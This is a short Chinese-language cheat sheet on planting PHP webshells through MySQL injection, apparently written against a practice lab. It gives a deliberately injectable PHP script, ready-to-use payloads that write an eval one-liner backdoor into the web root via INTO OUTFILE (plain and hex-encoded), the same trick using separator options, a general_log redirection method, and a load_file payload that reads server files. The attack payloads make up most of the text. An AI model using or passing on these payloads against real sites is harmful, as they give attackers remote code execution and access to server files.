MySQL注入点写入WebShell的几种方式

grant file on *.* to 'test'@'localhost';

mysql> show variables like '%sec%'
    -> ;
+--------------------------+----------+
| Variable_name            | Value    |
+--------------------------+----------+
| require_secure_transport | OFF      |
| secure_auth              | ON       |
| secure_file_priv         |          |
+--------------------------+----------+

​ --secure_file_prive=null

​ --secure_file_priv=/tmp/

​ --secure_file_priv=

[mysqld]
secure_file_priv=

[mysqld]
secure_file_priv=

<?php
$con=mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+
此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。

?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;

?id=1 INTO OUTFILE '物理路径' lines terminated by  （一句话hex编码）#
?id=1 INTO OUTFILE '物理路径' fields terminated by （一句话hex编码）#
?id=1 INTO OUTFILE '物理路径' columns terminated by （一句话hex编码）#
?id=1 INTO OUTFILE '物理路径' lines starting by    （一句话hex编码）#

show variables like '%general%';             # 查看配置
set global general_log = on;               # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
set global general_log_file = 'E:/study/WWW/evil.php'; # 设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             # 写入shell
set global general_log=off;                  # 关闭general log模式

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+